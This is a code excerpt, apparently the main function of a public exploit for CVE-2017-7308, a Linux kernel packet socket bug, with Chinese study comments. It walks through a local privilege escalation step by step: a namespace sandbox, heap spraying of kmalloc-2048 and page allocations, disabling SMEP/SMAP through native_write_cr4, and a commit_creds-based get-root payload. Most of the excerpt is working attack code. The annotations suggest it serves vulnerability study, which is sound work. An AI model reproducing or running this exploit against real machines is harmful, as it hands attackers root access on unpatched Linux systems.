Function main

CVE-2017-7308/exploit.c:390–419

}

int main() {
	printf("[.] starting\n");
	// 安装沙盒: 要对更底层的网络进行操作，需要有CAP_NET_RAW权限，可以通过网络命名空间来实现
	setup_sandbox();
	printf("[+] namespace sandbox set up\n");

	printf("[.] done, kernel text:   0x%lx\n", KERNEL_BASE);
	printf("[.] commit_creds:        0x%lx\n", KERNEL_BASE + COMMIT_CREDS);
	printf("[.] prepare_kernel_cred: 0x%lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
	printf("[.] native_write_cr4:    0x%lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
// Step 1: exhaust kmalloc-2048 and page chunk 0x8000		消耗kmalloc-2048和页面分配器的0x8000
	printf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	printf("[+] done, heap is padded\n");
// Step 2: bypass SMEP/SMAP
	printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	printf("[+] done, SMEP & SMAP should be off now\n");
// Step 3: escalate privilege
	printf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	printf("[+] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}

/*
1. 查看创建时的packet_sock结构